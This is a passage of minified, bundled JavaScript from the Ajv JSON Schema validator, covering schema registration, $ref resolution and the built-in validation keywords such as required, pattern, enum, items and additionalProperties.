A)this.addSchema(w,void 0,q,Y);return this}let z;if(typeof A==="object"){let{schemaId:w}=this.opts;if(z=A[w],z!==void 0&&typeof z!="string")throw Error(`schema ${w} must be string`)}return K=(0,EuA.normalizeId)(K||z),this._checkUnique(K),this.schemas[K]=this._addSchema(A,q,K,Y,!0),this}addMetaSchema(A,K,q=this.opts.validateSchema){return this.addSchema(A,K,!0,q),this}validateSchema(A,K){if(typeof A=="boolean")return!0;let q;if(q=A.$schema,q!==void 0&&typeof q!="string")throw Error("$schema must be a string");if(q=q||this.opts.defaultMeta||this.defaultMeta(),!q)return this.logger.warn("meta-schema not available"),this.errors=null,!0;let Y=this.validate(q,A);if(!Y&&K){let z="schema is invalid: "+this.errorsText();if(this.opts.validateSchema==="log")this.logger.error(z);else throw Error(z)}return Y}getSchema(A){let K;while(typeof(K=Lz7.call(this,A))=="string")A=K;if(K===void 0){let{schemaId:q}=this.opts,Y=new vuA.SchemaEnv({schema:{},schemaId:q});if(K=vuA.resolveSchema.call(this,Y,A),!K)return;this.refs[A]=K}return K.validate||this._compileSchemaEnv(K)}removeSchema(A){if(A instanceof RegExp)return this._removeAllSchemas(this.schemas,A),this._removeAllSchemas(this.refs,A),this;switch(typeof A){case"undefined":return this._removeAllSchemas(this.schemas),this._removeAllSchemas(this.refs),this._cache.clear(),this;case"string":{let K=Lz7.call(this,A);if(typeof K=="object")this._cache.delete(K.schema);return delete this.schemas[A],delete this.refs[A],this}case"object":{let K=A;this._cache.delete(K);let q=A[this.opts.schemaId];if(q)q=(0,EuA.normalizeId)(q),delete this.schemas[q],delete this.refs[q];return this}default:throw Error("ajv.removeSchema: invalid parameter")}}addVocabulary(A){for(let K of A)this.addKeyword(K);return this}addKeyword(A,K){let q;if(typeof A=="string"){if(q=A,typeof K=="object")this.logger.warn("these parameters are deprecated, see docs for addKeyword"),K.keyword=q}else if(typeof A=="object"&&K===void 0){if(K=A,q=K.keyword,Array.isArray(q)&&!q.length)throw Error("addKeywords: keyword must be string or non-empty array")}else throw Error("invalid addKeywords parameters");if(h_Y.call(this,q,K),!K)return(0,dZ6.eachItem)(q,(z)=>pZ6.call(this,z)),this;x_Y.call(this,K);let Y={...K,type:(0,j01.getJSONTypes)(K.type),schemaType:(0,j01.getJSONTypes)(K.schemaType)};return(0,dZ6.eachItem)(q,Y.type.length===0?(z)=>pZ6.call(this,z,Y):(z)=>Y.type.forEach((w)=>pZ6.call(this,z,Y,w))),this}getKeyword(A){let K=this.RULES.all[A];return typeof K=="object"?K.definition:!!K}removeKeyword(A){let{RULES:K}=this;delete K.keywords[A],delete K.all[A];for(let q of K.rules){let Y=q.rules.findIndex((z)=>z.keyword===A);if(Y>=0)q.rules.splice(Y,1)}return this}addFormat(A,K){if(typeof K=="string")K=new RegExp(K);return this.formats[A]=K,this}errorsText(A=this.errors,{separator:K=", ",dataVar:q="data"}={}){if(!A||A.length===0)return"No errors";return A.map((Y)=>`${q}${Y.instancePath} ${Y.message}`).reduce((Y,z)=>Y+K+z)}$dataMetaSchema(A,K){let q=this.RULES.all;A=JSON.parse(JSON.stringify(A));for(let Y of K){let z=Y.split("/").slice(1),w=A;for(let H of z)w=w[H];for(let H in q){let J=q[H];if(typeof J!="object")continue;let{$data:O}=J.definition,X=w[H];if(O&&X)w[H]=Iz7(X)}}return A}_removeAllSchemas(A,K){for(let q in A){let Y=A[q];if(!K||K.test(q)){if(typeof Y=="string")delete A[q];else if(Y&&!Y.meta)this._cache.delete(Y.schema),delete A[q]}}}_addSchema(A,K,q,Y=this.opts.validateSchema,z=this.opts.addUsedSchema){let w,{schemaId:H}=this.opts;if(typeof A=="object")w=A[H];else if(this.opts.jtd)throw Error("schema must be object");else if(typeof A!="boolean")throw Error("schema must be object or boolean");let J=this._cache.get(A);if(J!==void 0)return J;q=(0,EuA.normalizeId)(w||q);let O=EuA.getSchemaRefs.call(this,A,q);if(J=new vuA.SchemaEnv({schema:A,schemaId:H,meta:K,baseId:q,localRefs:O}),this._cache.set(J.schema,J),z&&!q.startsWith("#")){if(q)this._checkUnique(q);this.refs[q]=J}if(Y)this.validateSchema(A,!0);return J}_checkUnique(A){if(this.schemas[A]||this.refs[A])throw Error(`schema with key or id "${A}" already exists`)}_compileSchemaEnv(A){if(A.meta)this._compileMetaSchema(A);else vuA.compileSchema.call(this,A);if(!A.validate)throw Error("ajv implementation error");return A.validate}_compileMetaSchema(A){let K=this.opts;this.opts=this._metaOpts;try{vuA.compileSchema.call(this,A)}finally{this.opts=K}}}M01.ValidationError=j_Y.default;M01.MissingRefError=Rz7.default;Xp.default=M01;function Cz7(A,K,q,Y="error"){for(let z in A){let w=z;if(w in K)this.logger[Y](`${q}: option ${z}. ${A[w]}`)}}function Lz7(A){return A=(0,EuA.normalizeId)(A),this.schemas[A]||this.refs[A]}function k_Y(){let A=this.opts.schemas;if(!A)return;if(Array.isArray(A))this.addSchema(A);else for(let K in A)this.addSchema(A[K],K)}function C_Y(){for(let A in this.opts.formats){let K=this.opts.formats[A];if(K)this.addFormat(A,K)}}function L_Y(A){if(Array.isArray(A)){this.addVocabulary(A);return}this.logger.warn("keywords option as map is deprecated, pass array");for(let K in A){let q=A[K];if(!q.keyword)q.keyword=K;this.addKeyword(q)}}function R_Y(){let A={...this.opts};for(let K of f_Y)delete A[K];return A}var y_Y={log(){},warn(){},error(){}};function I_Y(A){if(A===!1)return y_Y;if(A===void 0)return console;if(A.log&&A.warn&&A.error)return A;throw Error("logger must implement log, warn and error methods")}var S_Y=/^[a-z_$][a-z0-9_$:-]*$/i;function h_Y(A,K){let{RULES:q}=this;if((0,dZ6.eachItem)(A,(Y)=>{if(q.keywords[Y])throw Error(`Keyword ${Y} is already defined`);if(!S_Y.test(Y))throw Error(`Keyword ${Y} has invalid name`)}),!K)return;if(K.$data&&!(("code"in K)||("validate"in K)))throw Error('$data keyword must have "code" or "validate" function')}function pZ6(A,K,q){var Y;let z=K===null||K===void 0?void 0:K.post;if(q&&z)throw Error('keyword with "post" flag cannot have "type"');let{RULES:w}=this,H=z?w.post:w.rules.find(({type:O})=>O===q);if(!H)H={type:q,rules:[]},w.rules.push(H);if(w.keywords[A]=!0,!K)return;let J={keyword:A,definition:{...K,type:(0,j01.getJSONTypes)(K.type),schemaType:(0,j01.getJSONTypes)(K.schemaType)}};if(K.before)b_Y.call(this,H,J,K.before);else H.rules.push(J);w.all[A]=J,(Y=K.implements)===null||Y===void 0||Y.forEach((O)=>this.addKeyword(O))}function b_Y(A,K,q){let Y=A.rules.findIndex((z)=>z.keyword===q);if(Y>=0)A.rules.splice(Y,0,K);else A.rules.push(K),this.logger.warn(`rule ${q} is not defined`)}function x_Y(A){let{metaSchema:K}=A;if(K===void 0)return;if(A.$data&&this.opts.$data)K=Iz7(K);A.validateSchema=this.compile(K,!0)}var u_Y={$ref:"https://raw.githubusercontent.com/ajv-validator/ajv/master/lib/refs/data.json#"};function Iz7(A){return{anyOf:[A,u_Y]}}});var bz7=v((hz7)=>{Object.defineProperty(hz7,"__esModule",{value:!0});var g_Y={keyword:"id",code(){throw Error('NOT SUPPORTED: keyword "id", use "$id" for schema ID')}};hz7.default=g_Y});var Fz7=v((mz7)=>{Object.defineProperty(mz7,"__esModule",{value:!0});mz7.callRef=mz7.getValidate=void 0;var Q_Y=fuA(),xz7=yC(),$f=B3(),sGA=Hp(),uz7=G01(),P01=hY(),U_Y={keyword:"$ref",schemaType:"string",code(A){let{gen:K,schema:q,it:Y}=A,{baseId:z,schemaEnv:w,validateName:H,opts:J,self:O}=Y,{root:X}=w;if((q==="#"||q==="#/")&&z===X.baseId)return _();let $=uz7.resolveRef.call(O,X,z,q);if($===void 0)throw new Q_Y.default(Y.opts.uriResolver,z,q);if($ instanceof uz7.SchemaEnv)return G($);return Z($);function _(){if(w===X)return V01(A,H,w,w.$async);let W=K.scopeValue("root",{ref:X});return V01(A,$f._`${W}.validate`,X,X.$async)}function G(W){let D=Bz7(A,W);V01(A,D,W,W.$async)}function Z(W){let D=K.scopeValue("schema",J.code.source===!0?{ref:W,code:(0,$f.stringify)(W)}:{ref:W}),j=K.name("valid"),M=A.subschema({schema:W,dataTypes:[],schemaPath:$f.nil,topSchemaRef:D,errSchemaPath:q},j);A.mergeEvaluated(M),A.ok(j)}}};function Bz7(A,K){let{gen:q}=A;return K.validate?q.scopeValue("validate",{ref:K.validate}):$f._`${q.scopeValue("wrapper",{ref:K})}.validate`}mz7.getValidate=Bz7;function V01(A,K,q,Y){let{gen:z,it:w}=A,{allErrors:H,schemaEnv:J,opts:O}=w,X=O.passContext?sGA.default.this:$f.nil;if(Y)$();else _();function $(){if(!J.$async)throw Error("async schema referenced by sync schema");let W=z.let("valid");z.try(()=>{if(z.code($f._`await ${(0,xz7.callValidateCode)(A,K,X)}`),Z(K),!H)z.assign(W,!0)},(D)=>{if(z.if($f._`!(${D} instanceof ${w.ValidationError})`,()=>z.throw(D)),G(D),!H)z.assign(W,!1)}),A.ok(W)}function _(){A.result((0,xz7.callValidateCode)(A,K,X),()=>Z(K),()=>G(K))}function G(W){let D=$f._`${W}.errors`;z.assign(sGA.default.vErrors,$f._`${sGA.default.vErrors} === null ? ${D} : ${sGA.default.vErrors}.concat(${D})`),z.assign(sGA.default.errors,$f._`${sGA.default.vErrors}.length`)}function Z(W){var D;if(!w.opts.unevaluated)return;let j=(D=q===null||q===void 0?void 0:q.validate)===null||D===void 0?void 0:D.evaluated;if(w.props!==!0)if(j&&!j.dynamicProps){if(j.props!==void 0)w.props=P01.mergeEvaluated.props(z,j.props,w.props)}else{let M=z.var("props",$f._`${W}.evaluated.props`);w.props=P01.mergeEvaluated.props(z,M,w.props,$f.Name)}if(w.items!==!0)if(j&&!j.dynamicItems){if(j.items!==void 0)w.items=P01.mergeEvaluated.items(z,j.items,w.items)}else{let M=z.var("items",$f._`${W}.evaluated.items`);w.items=P01.mergeEvaluated.items(z,M,w.items,$f.Name)}}}mz7.callRef=V01;mz7.default=U_Y});var Uz7=v((Qz7)=>{Object.defineProperty(Qz7,"__esModule",{value:!0});var c_Y=bz7(),l_Y=Fz7(),i_Y=["$schema","$id","$defs","$vocabulary",{keyword:"$comment"},"definitions",c_Y.default,l_Y.default];Qz7.default=i_Y});var dz7=v((pz7)=>{Object.defineProperty(pz7,"__esModule",{value:!0});var f01=B3(),Za=f01.operators,N01={maximum:{okStr:"<=",ok:Za.LTE,fail:Za.GT},minimum:{okStr:">=",ok:Za.GTE,fail:Za.LT},exclusiveMaximum:{okStr:"<",ok:Za.LT,fail:Za.GTE},exclusiveMinimum:{okStr:">",ok:Za.GT,fail:Za.LTE}},r_Y={message:({keyword:A,schemaCode:K})=>f01.str`must be ${N01[A].okStr} ${K}`,params:({keyword:A,schemaCode:K})=>f01._`{comparison: ${N01[A].okStr}, limit: ${K}}`},o_Y={keyword:Object.keys(N01),type:"number",schemaType:"number",$data:!0,error:r_Y,code(A){let{keyword:K,data:q,schemaCode:Y}=A;A.fail$data(f01._`${q} ${N01[K].fail} ${Y} || isNaN(${q})`)}};pz7.default=o_Y});var lz7=v((cz7)=>{Object.defineProperty(cz7,"__esModule",{value:!0});var kuA=B3(),s_Y={message:({schemaCode:A})=>kuA.str`must be multiple of ${A}`,params:({schemaCode:A})=>kuA._`{multipleOf: ${A}}`},t_Y={keyword:"multipleOf",type:"number",schemaType:"number",$data:!0,error:s_Y,code(A){let{gen:K,data:q,schemaCode:Y,it:z}=A,w=z.opts.multipleOfPrecision,H=K.let("res"),J=w?kuA._`Math.abs(Math.round(${H}) - ${H}) > 1e-${w}`:kuA._`${H} !== parseInt(${H})`;A.fail$data(kuA._`(${Y} === 0 || (${H} = ${q}/${Y}, ${J}))`)}};cz7.default=t_Y});var rz7=v((nz7)=>{Object.defineProperty(nz7,"__esModule",{value:!0});function iz7(A){let K=A.length,q=0,Y=0,z;while(Y<K)if(q++,z=A.charCodeAt(Y++),z>=55296&&z<=56319&&Y<K){if(z=A.charCodeAt(Y),(z&64512)===56320)Y++}return q}nz7.default=iz7;iz7.code='require("ajv/dist/runtime/ucs2length").default'});var az7=v((oz7)=>{Object.defineProperty(oz7,"__esModule",{value:!0});var _qA=B3(),KGY=hY(),qGY=rz7(),YGY={message({keyword:A,schemaCode:K}){let q=A==="maxLength"?"more":"fewer";return _qA.str`must NOT have ${q} than ${K} characters`},params:({schemaCode:A})=>_qA._`{limit: ${A}}`},zGY={keyword:["maxLength","minLength"],type:"string",schemaType:"number",$data:!0,error:YGY,code(A){let{keyword:K,data:q,schemaCode:Y,it:z}=A,w=K==="maxLength"?_qA.operators.GT:_qA.operators.LT,H=z.opts.unicode===!1?_qA._`${q}.length`:_qA._`${(0,KGY.useFunc)(A.gen,qGY.default)}(${q})`;A.fail$data(_qA._`${H} ${w} ${Y}`)}};oz7.default=zGY});var tz7=v((sz7)=>{Object.defineProperty(sz7,"__esModule",{value:!0});var HGY=yC(),T01=B3(),JGY={message:({schemaCode:A})=>T01.str`must match pattern "${A}"`,params:({schemaCode:A})=>T01._`{pattern: ${A}}`},OGY={keyword:"pattern",type:"string",schemaType:"string",$data:!0,error:JGY,code(A){let{data:K,$data:q,schema:Y,schemaCode:z,it:w}=A,H=w.opts.unicodeRegExp?"u":"",J=q?T01._`(new RegExp(${z}, ${H}))`:(0,HGY.usePattern)(A,Y);A.fail$data(T01._`!${J}.test(${K})`)}};sz7.default=OGY});var Aw7=v((ez7)=>{Object.defineProperty(ez7,"__esModule",{value:!0});var CuA=B3(),$GY={message({keyword:A,schemaCode:K}){let q=A==="maxProperties"?"more":"fewer";return CuA.str`must NOT have ${q} than ${K} properties`},params:({schemaCode:A})=>CuA._`{limit: ${A}}`},_GY={keyword:["maxProperties","minProperties"],type:"object",schemaType:"number",$data:!0,error:$GY,code(A){let{keyword:K,data:q,schemaCode:Y}=A,z=K==="maxProperties"?CuA.operators.GT:CuA.operators.LT;A.fail$data(CuA._`Object.keys(${q}).length ${z} ${Y}`)}};ez7.default=_GY});var qw7=v((Kw7)=>{Object.defineProperty(Kw7,"__esModule",{value:!0});var LuA=yC(),RuA=B3(),ZGY=hY(),WGY={message:({params:{missingProperty:A}})=>RuA.str`must have required property '${A}'`,params:({params:{missingProperty:A}})=>RuA._`{missingProperty: ${A}}`},DGY={keyword:"required",type:"object",schemaType:"array",$data:!0,error:WGY,code(A){let{gen:K,schema:q,schemaCode:Y,data:z,$data:w,it:H}=A,{opts:J}=H;if(!w&&q.length===0)return;let O=q.length>=J.loopRequired;if(H.allErrors)X();else $();if(J.strictRequired){let Z=A.parentSchema.properties,{definedProperties:W}=A.it;for(let D of q)if((Z===null||Z===void 0?void 0:Z[D])===void 0&&!W.has(D)){let j=H.schemaEnv.baseId+H.errSchemaPath,M=`required property "${D}" is not defined at "${j}" (strictRequired)`;(0,ZGY.checkStrictMode)(H,M,H.opts.strictRequired)}}function X(){if(O||w)A.block$data(RuA.nil,_);else for(let Z of q)(0,LuA.checkReportMissingProp)(A,Z)}function $(){let Z=K.let("missing");if(O||w){let W=K.let("valid",!0);A.block$data(W,()=>G(Z,W)),A.ok(W)}else K.if((0,LuA.checkMissingProp)(A,q,Z)),(0,LuA.reportMissingProp)(A,Z),K.else()}function _(){K.forOf("prop",Y,(Z)=>{A.setParams({missingProperty:Z}),K.if((0,LuA.noPropertyInData)(K,z,Z,J.ownProperties),()=>A.error())})}function G(Z,W){A.setParams({missingProperty:Z}),K.forOf(Z,Y,()=>{K.assign(W,(0,LuA.propertyInData)(K,z,Z,J.ownProperties)),K.if((0,RuA.not)(W),()=>{A.error(),K.break()})},RuA.nil)}}};Kw7.default=DGY});var zw7=v((Yw7)=>{Object.defineProperty(Yw7,"__esModule",{value:!0});var yuA=B3(),MGY={message({keyword:A,schemaCode:K}){let q=A==="maxItems"?"more":"fewer";return yuA.str`must NOT have ${q} than ${K} items`},params:({schemaCode:A})=>yuA._`{limit: ${A}}`},PGY={keyword:["maxItems","minItems"],type:"array",schemaType:"number",$data:!0,error:MGY,code(A){let{keyword:K,data:q,schemaCode:Y}=A,z=K==="maxItems"?yuA.operators.GT:yuA.operators.LT;A.fail$data(yuA._`${q}.length ${z} ${Y}`)}};Yw7.default=PGY});var v01=v((Hw7)=>{Object.defineProperty(Hw7,"__esModule",{value:!0});var ww7=yZ6();ww7.code='require("ajv/dist/runtime/equal").default';Hw7.default=ww7});var Ow7=v((Jw7)=>{Object.defineProperty(Jw7,"__esModule",{value:!0});var cZ6=DuA(),KW=B3(),NGY=hY(),TGY=v01(),vGY={message:({params:{i:A,j:K}})=>KW.str`must NOT have duplicate items (items ## ${K} and ${A} are identical)`,params:({params:{i:A,j:K}})=>KW._`{i: ${A}, j: ${K}}`},EGY={keyword:"uniqueItems",type:"array",schemaType:"boolean",$data:!0,error:vGY,code(A){let{gen:K,data:q,$data:Y,schema:z,parentSchema:w,schemaCode:H,it:J}=A;if(!Y&&!z)return;let O=K.let("valid"),X=w.items?(0,cZ6.getSchemaTypes)(w.items):[];A.block$data(O,$,KW._`${H} === false`),A.ok(O);function $(){let W=K.let("i",KW._`${q}.length`),D=K.let("j");A.setParams({i:W,j:D}),K.assign(O,!0),K.if(KW._`${W} > 1`,()=>(_()?G:Z)(W,D))}function _(){return X.length>0&&!X.some((W)=>W==="object"||W==="array")}function G(W,D){let j=K.name("item"),M=(0,cZ6.checkDataTypes)(X,j,J.opts.strictNumbers,cZ6.DataType.Wrong),P=K.const("indices",KW._`{}`);K.for(KW._`;${W}--;`,()=>{if(K.let(j,KW._`${q}[${W}]`),K.if(M,KW._`continue`),X.length>1)K.if(KW._`typeof ${j} == "string"`,KW._`${j} += "_"`);K.if(KW._`typeof ${P}[${j}] == "number"`,()=>{K.assign(D,KW._`${P}[${j}]`),A.error(),K.assign(O,!1).break()}).code(KW._`${P}[${j}] = ${W}`)})}function Z(W,D){let j=(0,NGY.useFunc)(K,TGY.default),M=K.name("outer");K.label(M).for(KW._`;${W}--;`,()=>K.for(KW._`${D} = ${W}; ${D}--;`,()=>K.if(KW._`${j}(${q}[${W}], ${q}[${D}])`,()=>{A.error(),K.assign(O,!1).break(M)})))}}};Jw7.default=EGY});var $w7=v((Xw7)=>{Object.defineProperty(Xw7,"__esModule",{value:!0});var lZ6=B3(),CGY=hY(),LGY=v01(),RGY={message:"must be equal to constant",params:({schemaCode:A})=>lZ6._`{allowedValue: ${A}}`},yGY={keyword:"const",$data:!0,error:RGY,code(A){let{gen:K,data:q,$data:Y,schemaCode:z,schema:w}=A;if(Y||w&&typeof w=="object")A.fail$data(lZ6._`!${(0,CGY.useFunc)(K,LGY.default)}(${q}, ${z})`);else A.fail(lZ6._`${w} !== ${q}`)}};Xw7.default=yGY});var Gw7=v((_w7)=>{Object.defineProperty(_w7,"__esModule",{value:!0});var IuA=B3(),SGY=hY(),hGY=v01(),bGY={message:"must be equal to one of the allowed values",params:({schemaCode:A})=>IuA._`{allowedValues: ${A}}`},xGY={keyword:"enum",schemaType:"array",$data:!0,error:bGY,code(A){let{gen:K,data:q,$data:Y,schema:z,schemaCode:w,it:H}=A;if(!Y&&z.length===0)throw Error("enum must have non-empty array");let J=z.length>=H.opts.loopEnum,O,X=()=>O!==null&&O!==void 0?O:O=(0,SGY.useFunc)(K,hGY.default),$;if(J||Y)$=K.let("valid"),A.block$data($,_);else{if(!Array.isArray(z))throw Error("ajv implementation error");let Z=K.const("vSchema",w);$=(0,IuA.or)(...z.map((W,D)=>G(Z,D)))}A.pass($);function _(){K.assign($,!1),K.forOf("v",w,(Z)=>K.if(IuA._`${X()}(${q}, ${Z})`,()=>K.assign($,!0).break()))}function G(Z,W){let D=z[W];return typeof D==="object"&&D!==null?IuA._`${X()}(${q}, ${Z}[${W}])`:IuA._`${q} === ${D}`}}};_w7.default=xGY});var Ww7=v((Zw7)=>{Object.defineProperty(Zw7,"__esModule",{value:!0});var BGY=dz7(),mGY=lz7(),gGY=az7(),FGY=tz7(),QGY=Aw7(),UGY=qw7(),pGY=zw7(),dGY=Ow7(),cGY=$w7(),lGY=Gw7(),iGY=[BGY.default,mGY.default,gGY.default,FGY.default,QGY.default,UGY.default,pGY.default,dGY.default,{keyword:"type",schemaType:["string","array"]},{keyword:"nullable",schemaType:"boolean"},cGY.default,lGY.default];Zw7.default=iGY});var nZ6=v((jw7)=>{Object.defineProperty(jw7,"__esModule",{value:!0});jw7.validateAdditionalItems=void 0;var GqA=B3(),iZ6=hY(),rGY={message:({params:{len:A}})=>GqA.str`must NOT have more than ${A} items`,params:({params:{len:A}})=>GqA._`{limit: ${A}}`},oGY={keyword:"additionalItems",type:"array",schemaType:["boolean","object"],before:"uniqueItems",error:rGY,code(A){let{parentSchema:K,it:q}=A,{items:Y}=K;if(!Array.isArray(Y)){(0,iZ6.checkStrictMode)(q,'"additionalItems" is ignored when "items" is not an array of schemas');return}Dw7(A,Y)}};function Dw7(A,K){let{gen:q,schema:Y,data:z,keyword:w,it:H}=A;H.items=!0;let J=q.const("len",GqA._`${z}.length`);if(Y===!1)A.setParams({len:K.length}),A.pass(GqA._`${J} <= ${K.length}`);else if(typeof Y=="object"&&!(0,iZ6.alwaysValidSchema)(H,Y)){let X=q.var("valid",GqA._`${J} <= ${K.length}`);q.if((0,GqA.not)(X),()=>O(X)),A.ok(X)}function O(X){q.forRange("i",K.length,J,($)=>{if(A.subschema({keyword:w,dataProp:$,dataPropType:iZ6.Type.Num},X),!H.allErrors)q.if((0,GqA.not)(X),()=>q.break())})}}jw7.validateAdditionalItems=Dw7;jw7.default=oGY});var rZ6=v((fw7)=>{Object.defineProperty(fw7,"__esModule",{value:!0});fw7.validateTuple=void 0;var Pw7=B3(),E01=hY(),sGY=yC(),tGY={keyword:"items",type:"array",schemaType:["object","array","boolean"],before:"uniqueItems",code(A){let{schema:K,it:q}=A;if(Array.isArray(K))return Vw7(A,"additionalItems",K);if(q.items=!0,(0,E01.alwaysValidSchema)(q,K))return;A.ok((0,sGY.validateArray)(A))}};function Vw7(A,K,q=A.schema){let{gen:Y,parentSchema:z,data:w,keyword:H,it:J}=A;if($(z),J.opts.unevaluated&&q.length&&J.items!==!0)J.items=E01.mergeEvaluated.items(Y,q.length,J.items);let O=Y.name("valid"),X=Y.const("len",Pw7._`${w}.length`);q.forEach((_,G)=>{if((0,E01.alwaysValidSchema)(J,_))return;Y.if(Pw7._`${X} > ${G}`,()=>A.subschema({keyword:H,schemaProp:G,dataProp:G},O)),A.ok(O)});function $(_){let{opts:G,errSchemaPath:Z}=J,W=q.length,D=W===_.minItems&&(W===_.maxItems||_[K]===!1);if(G.strictTuples&&!D){let j=`"${H}" is ${W}-tuple, but minItems or maxItems/${K} are not specified or different at path "${Z}"`;(0,E01.checkStrictMode)(J,j,G.strictTuples)}}}fw7.validateTuple=Vw7;fw7.default=tGY});var vw7=v((Tw7)=>{Object.defineProperty(Tw7,"__esModule",{value:!0});var AZY=rZ6(),KZY={keyword:"prefixItems",type:"array",schemaType:["array"],before:"uniqueItems",code:(A)=>(0,AZY.validateTuple)(A,"items")};Tw7.default=KZY});var Cw7=v((kw7)=>{Object.defineProperty(kw7,"__esModule",{value:!0});var Ew7=B3(),YZY=hY(),zZY=yC(),wZY=nZ6(),HZY={message:({params:{len:A}})=>Ew7.str`must NOT have more than ${A} items`,params:({params:{len:A}})=>Ew7._`{limit: ${A}}`},JZY={keyword:"items",type:"array",schemaType:["object","boolean"],before:"uniqueItems",error:HZY,code(A){let{schema:K,parentSchema:q,it:Y}=A,{prefixItems:z}=q;if(Y.items=!0,(0,YZY.alwaysValidSchema)(Y,K))return;if(z)(0,wZY.validateAdditionalItems)(A,z);else A.ok((0,zZY.validateArray)(A))}};kw7.default=JZY});var Rw7=v((Lw7)=>{Object.defineProperty(Lw7,"__esModule",{value:!0});var IC=B3(),k01=hY(),XZY={message:({params:{min:A,max:K}})=>K===void 0?IC.str`must contain at least ${A} valid item(s)`:IC.str`must contain at least ${A} and no more than ${K} valid item(s)`,params:({params:{min:A,max:K}})=>K===void 0?IC._`{minContains: ${A}}`:IC._`{minContains: ${A}, maxContains: ${K}}`},$ZY={keyword:"contains",type:"array",schemaType:["object","boolean"],before:"uniqueItems",trackErrors:!0,error:XZY,code(A){let{gen:K,schema:q,parentSchema:Y,data:z,it:w}=A,H,J,{minContains:O,maxContains:X}=Y;if(w.opts.next)H=O===void 0?1:O,J=X;else H=1;let $=K.const("len",IC._`${z}.length`);if(A.setParams({min:H,max:J}),J===void 0&&H===0){(0,k01.checkStrictMode)(w,'"minContains" == 0 without "maxContains": "contains" keyword ignored');return}if(J!==void 0&&H>J){(0,k01.checkStrictMode)(w,'"minContains" > "maxContains" is always invalid'),A.fail();return}if((0,k01.alwaysValidSchema)(w,q)){let D=IC._`${$} >= ${H}`;if(J!==void 0)D=IC._`${D} && ${$} <= ${J}`;A.pass(D);return}w.items=!0;let _=K.name("valid");if(J===void 0&&H===1)Z(_,()=>K.if(_,()=>K.break()));else if(H===0){if(K.let(_,!0),J!==void 0)K.if(IC._`${z}.length > 0`,G)}else K.let(_,!1),G();A.result(_,()=>A.reset());function G(){let D=K.name("_valid"),j=K.let("count",0);Z(D,()=>K.if(D,()=>W(j)))}function Z(D,j){K.forRange("i",0,$,(M)=>{A.subschema({keyword:"contains",dataProp:M,dataPropType:k01.Type.Num,compositeRule:!0},D),j()})}function W(D){if(K.code(IC._`${D}++`),J===void 0)K.if(IC._`${D} >= ${H}`,()=>K.assign(_,!0).break());else if(K.if(IC._`${D} > ${J}`,()=>K.assign(_,!1).break()),H===1)K.assign(_,!0);else K.if(IC._`${D} >= ${H}`,()=>K.assign(_,!0))}}};Lw7.default=$ZY});var xw7=v((Sw7)=>{Object.defineProperty(Sw7,"__esModule",{value:!0});Sw7.validateSchemaDeps=Sw7.validatePropertyDeps=Sw7.error=void 0;var oZ6=B3(),GZY=hY(),SuA=yC();Sw7.error={message:({params:{property:A,depsCount:K,deps:q}})=>{let Y=K===1?"property":"properties";return oZ6.str`must have ${Y} ${q} when property ${A} is present`},params:({params:{property:A,depsCount:K,deps:q,missingProperty:Y}})=>oZ6._`{property: ${A}, missingProperty: ${Y}, depsCount: ${K}, deps: ${q}}`};var ZZY={keyword:"dependencies",type:"object",schemaType:"object",error:Sw7.error,code(A){let[K,q]=WZY(A);yw7(A,K),Iw7(A,q)}};function WZY({schema:A}){let K={},q={};for(let Y in A){if(Y==="__proto__")continue;let z=Array.isArray(A[Y])?K:q;z[Y]=A[Y]}return[K,q]}function yw7(A,K=A.schema){let{gen:q,data:Y,it:z}=A;if(Object.keys(K).length===0)return;let w=q.let("missing");for(let H in K){let J=K[H];if(J.length===0)continue;let O=(0,SuA.propertyInData)(q,Y,H,z.opts.ownProperties);if(A.setParams({property:H,depsCount:J.length,deps:J.join(", ")}),z.allErrors)q.if(O,()=>{for(let X of J)(0,SuA.checkReportMissingProp)(A,X)});else q.if(oZ6._`${O} && (${(0,SuA.checkMissingProp)(A,J,w)})`),(0,SuA.reportMissingProp)(A,w),q.else()}}Sw7.validatePropertyDeps=yw7;function Iw7(A,K=A.schema){let{gen:q,data:Y,keyword:z,it:w}=A,H=q.name("valid");for(let J in K){if((0,GZY.alwaysValidSchema)(w,K[J]))continue;q.if((0,SuA.propertyInData)(q,Y,J,w.opts.ownProperties),()=>{let O=A.subschema({keyword:z,schemaProp:J},H);A.mergeValidEvaluated(O,H)},()=>q.var(H,!0)),A.ok(H)}}Sw7.validateSchemaDeps=Iw7;Sw7.default=ZZY});var mw7=v((Bw7)=>{Object.defineProperty(Bw7,"__esModule",{value:!0});var uw7=B3(),MZY=hY(),PZY={message:"property name must be valid",params:({params:A})=>uw7._`{propertyName: ${A.propertyName}}`},VZY={keyword:"propertyNames",type:"object",schemaType:["object","boolean"],error:PZY,code(A){let{gen:K,schema:q,data:Y,it:z}=A;if((0,MZY.alwaysValidSchema)(z,q))return;let w=K.name("valid");K.forIn("key",Y,(H)=>{A.setParams({propertyName:H}),A.subschema({keyword:"propertyNames",data:H,dataTypes:["string"],propertyName:H,compositeRule:!0},w),K.if((0,uw7.not)(w),()=>{if(A.error(!0),!z.allErrors)K.break()})}),A.ok(w)}};Bw7.default=VZY});var aZ6=v((gw7)=>{Object.defineProperty(gw7,"__esModule",{value:!0});var C01=yC(),vI=B3(),NZY=Hp(),L01=hY(),TZY={message:"must NOT have additional properties",params:({params:A})=>vI._`{additionalProperty: ${A.additionalProperty}}`},vZY={keyword:"additionalProperties",type:["object"],schemaType:["boolean","object"],allowUndefined:!0,trackErrors:!0,error:TZY,code(A){let{gen:K,schema:q,parentSchema:Y,data:z,errsCount:w,it:H}=A;if(!w)throw Error("ajv implementation error");let{allErrors:J,opts:O}=H;if(H.props=!0,O.removeAdditional!=="all"&&(0,L01.alwaysValidSchema)(H,q))return;let X=(0,C01.allSchemaProperties)(Y.properties),$=(0,C01.allSchemaProperties)(Y.patternProperties);_(),A.ok(vI._`${w} === ${NZY.default.errors}`);function _(){K.forIn("key",z,(j)=>{if(!X.length&&!$.length)W(j);else K.if(G(j),()=>W(j))})}function G(j){let M;if(X.length>8){let P=(0,L01.schemaRefOrVal)(H,Y.properties,"properties");M=(0,C01.isOwnProperty)(K,P,j)}else if(X.length)M=(0,vI.or)(...X.map((P)=>vI._`${j} === ${P}`));else M=vI.nil;if($.length)M=(0,vI.or)(M,...$.map((P)=>vI._`${(0,C01.usePattern)(A,P)}.test(${j})`));return(0,vI.not)(M)}function Z(j){K.code(vI._`delete ${z}[${j}]`)}function W(j){if(O.removeAdditional==="all"||O.removeAdditional&&q===!1){Z(j);return}if(q===!1){if(A.setParams({additionalProperty:j}),A.error(),!J)K.break();return}if(typeof q=="object"&&!(0,L01.alwaysValidSchema)(H,q)){let 